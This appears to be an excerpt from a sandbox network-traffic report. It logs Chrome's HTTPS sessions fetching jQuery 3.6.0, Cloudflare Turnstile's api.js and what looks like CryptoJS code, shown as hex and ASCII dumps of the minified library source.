2025-01-11 00:11:48 UTC	1369	IN	Data Raw: 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 Data Ascii: At(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRS
2025-01-11 00:11:48 UTC	1369	IN	Data Raw: 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e 5f Data Ascii: in(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this._
2025-01-11 00:11:48 UTC	1369	IN	Data Raw: 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 30 Data Ascii: =C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49721	151.101.2.137	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:11:47 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:11:48 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Sat, 11 Jan 2025 00:11:48 GMT Age: 2038834 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740033-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 1 X-Timer: S1736554308.053886,VS0,VE1 Vary: Accept-Encoding
2025-01-11 00:11:48 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-11 00:11:48 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-01-11 00:11:48 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-01-11 00:11:48 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-01-11 00:11:48 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2025-01-11 00:11:48 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49723	104.18.95.41	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:11:48 UTC	383	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:11:48 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:11:48 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 9000b10cde020f3a-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 00:11:48 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-11 00:11:48 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-11 00:11:48 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-11 00:11:48 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-11 00:11:48 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-11 00:11:48 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-11 00:11:48 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-11 00:11:48 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
